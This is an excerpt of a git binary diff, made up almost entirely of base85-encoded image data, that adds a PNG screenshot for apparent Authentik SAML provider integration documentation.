zTZ*>zFzV@^-M{X0;D3q1PNC{fu?zeo&I!&qyaL}x>!jfb;iX99+OiJB<}hq^e$Gbn z-0Nj#Un7VU|5x|hC74>6qssnaB1F_<9t=Xc>smdJdM=$&33vBgRDiPWjZk&1Prh)2 z`RtAi$b|C_e)dgVZK_cN3vBtZJiP-<{$@C%l0Vw<e-tTG43k-()XZXifvs)4=cHw0 zBA~vTw>*Z%zo>FU9gOa3&n+6YMJ*6E+Qf0(z&y92qB*Dqtg`)TG2$w#Ls97d&{+19 z;Bh`rWBXT0%L<jlWg9D+vdZ%R4ti1lD>4oX_A50A>kWOpmadsjQa`ray+IE1!1gD> zfDk($`xaK=;q#MnWOTz@1X|Q{-Jv4GSD5*z_e~=*Z||n}@^NiZLo3nFEC_7(;{3>y z?QD+~{xwCNr}-)+&wRT->!t@@)J}L_ks-1P2ip{5JJm}1P<A_webhS#u!Yzj;kA?x z?x@GB-{nh1zHL^rC8vzaJVZCE9w(fCIe29T|JjfW)u3n;6TWAP-N`NRh7`6vnR7LY z^Nm?GvlLLsmP*FTUCdxX%EFwwUdYPazPwjCYLGc3rd(d;mZGyBxNQcXYZ`fZ>!B3# zbzL4s#%ogEy<t_8AE6sd7<E~IGq&XcvQl(X%mr*Z$7bObJxaT^mSZI@V_t+|rc-L$ zD+CzImTt7*tQaA*ErEUR%JO$~p1O%|o6M2LD<IUf8!(H30NWNjj#lG3>GSxqT(j8p zMfXN7-TyZGO*vGcHBbGYYABnGY!f`<3{?RMxz(@05Cz|KqY1paBIT)P6%d{y?3Zj@ z1bC6Y)#VE%S2g{^;<jb^k;^O2VjbDmh5Tbo-PK;6Dh4I!o@+_9LrL3*1J#hK8E^HD zl<{#ZbDze29vPazNmVI5<^9!O$veePvL(Zaqo8h4WN&KIo6h1%3rKo->a}yt$EYPf zD%ZQo`}#EYOO5{UjRE?dkw^|>F8jJ~x*wgSrBWo%Kgy3#e}4Q0_ywg9zIPBpM<jF7 z;k)H|HS)d6_dNw#ZCQmJdZ|H;vu&|wJiTe!)3&@FI$C|HUI`22LHV&uRjK>|J3B22 z%*zN6;=M<7h_Rw%|EWt4=QPQ0J@}MBlU{Y;N(b2s*8?DXWyGn+MQKwUi@nw5mSWw- z><ZmTiCT_<OAH*q;-ULmkKk8=%|uhKnV3iciG%fB<u>Z&<wR3!{GzXSm(y^mRmM)@ z+al;dlrRL3dhR_N#L%=mG^X&9<l&lm+<_X)xqs?yfG~e&JvpLq$2sfp=zjHfOBwO~ zctPoLt!SGPtgy9+3{#*aLwZ;TzqB8A9tz7lLhx=DJve@W;ANiRNK2NzoW+lalpjrM zI*n`$TI>jN-TPo=3nlD8Yu_!2dUuBSu=_bm)<tAicG}Ln$~c1Xt*ovkPKTBe(mtw@ zTaGb^pUrkhbxj1@%U;(MoDB$jftw(;A)9eD5)wyIJP`76bkfzJ_I7bZ#KQY!hlL?c zR}`KR6dQEId`=59U`xa^R}JYXl@=dw@102~u`54ZJwH5bE5n}T#V+5`>{Df+v1F)} zd5Y`#auSxi39&pQoNu7bI2^QtyB5^-5XyPu__EVm{`7~UvvMgM8XNxt5-g6oJow>D zDJ4Z+A$qs_a*@dPtCm)}P$-o4%)wZ4brW%4RYaO!x)gB-0JtAtC!}=|`wJ+)(mhmB zDcjt<^CrCqy2tVcEz^O1i`llpR=C9Bj5IW8fm;0;FE1}1@Z2Ew-+RO->-*ti*1wfH z;JKvzes4@=aY<dwqfp~cwGU$to$#SF8~9$WOl}!`oJSS3D9v^qDO%o6kbFm8$E1Gw z;`hc6nctv<>h>gpd#!Bwr}kp_7SFYhtRMGWu_3z4TLZ@tM@LaoDF?~(9NB0m<<OoO z0EBE3<g*Rf7INEMUXs<u&96P*Za$abqk=JK)vr44^JW<4NNI9uUP;1o9){t^hI!(f z0w<r1p%_u@Lb{oN^`i`4)3aVk$_X-hGz-pXKkp@%QPeCL^9^3^zRnKut|_+(C^0>a zL?IAg@O6!Z_CQa%Ue$vY7oYDT0BQ1dH!-8|i~Bh5Vv|<`Q;y$`oSWm$8i_!9AiMFa z`F9)pKqN+%7P7PBQOGN~cyisXb8mZaiWK_E+6j!b^biA3B1tSxrJ=a$73uAZr#58t z%N&@d9!Z6C5SUWXI6+6J3Aza`84d~f@A>*Oz-HXQXFf4@pxUr%Ym>{Oi&F+!k}lap zK`qEJAv`|BIyrY<7?c)PxYyS~fC;{M#p(j$$Oxn1GNUHn$Eg)6Yx*(?l9I;s-$ifk zAdBuESNcExM8j^?C>!rk>(ezB<x5<4F)gz*NG%w9ayi(Nv-1TygiPjOV-$sb^M>?E zV|25rZ@Acs)Io0x=AB|C6iwsh-R7-E%Rkv{p5);v^?s9CR!ISQ>+I*W96WhNT$<p6 z>rVzy&4<c+Mgv}!5J~LrZ?-mY)$)Xq@K1Ak$D&78zB~L>CR_|6tG&HC#mgHAS9VE$ zQ=FGSmusEC%+!1;$Ja`*P9+YaF5Y-l@kU*{=iH<&6Y&u5!-!)B&FZuFJe<-c_*`+< z@|nN@EauaCEjRzTz`KW%ps$>JFZYRqk@rP@SY%_i-K`f!ToyU`Hvmq4TH1-c_s>hi zfU=L|``gfU$|QqVA^$~JfJrDdU?<i&nXUT|734SFB%Fk9h_~vRgW?-?q3g<b%8S>( zvCy84;xrqe{xez5W+wNnWa}DVxfw2;u&7k~!D-EM6+V;yI*|CyQ=-E<riJ%~nGk4E zcubEwjzLyisfQ)1^Ha9?pKk(eqf5Kh%7hP9XJviu)5~m^sG+QsrE>yn9yZTils3-I zK(X_x%S~n84w{as0*YD`fuZ)1tw)IHt}~*-fp(VUK->SjM~ly&aRr33BAS7vqc(5e zXmQz@+etbehOSm!KaZl<SwL?p2Qc&F?7}s=Q4FUCi1kr9SM)9{l@gg|5SXr_xCeeL zVNt|Clp#4*wx}c{O!q>pWs7^N)_7Npj#<WDmr~?r?ORTIuad8OqWRw1o;1qKA3zj0 zk)1CB9zD0yBm427Oa=dI&aAPwpF=`I`tIR<`QP>Xr^t&B+<9VTgVO0t!1n`QtFlVK z0^J=7d-{vWbfABsNuTZltgB}{@XWu_3-@pU;A7==w)~qXl^X;6*&VAh{O9}wV?m>h z5<p%4Ki+ki+@nXYANoCGfM@>A;c|~UIZQq`%fDGnxnU=V`Btau@57`3x~i|?o=)uF pJy-=C{WAuy|L!`RB&O$BHf2@Zd^0RMjs*C5sHk@T%RQ5q{|iOOtq=eJ literal 0 HcmV?d00001 diff --git a/enterprise/integrations/saml-providers/images/authentik-06-binding-nameid.png b/enterprise/integrations/saml-providers/images/authentik-06-binding-nameid.png new file mode 100644 index 0000000000000000000000000000000000000000..e0a37fc0dd2e7125c9b1e47581a0f2dfd7020ca6 GIT binary patch literal 93314 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 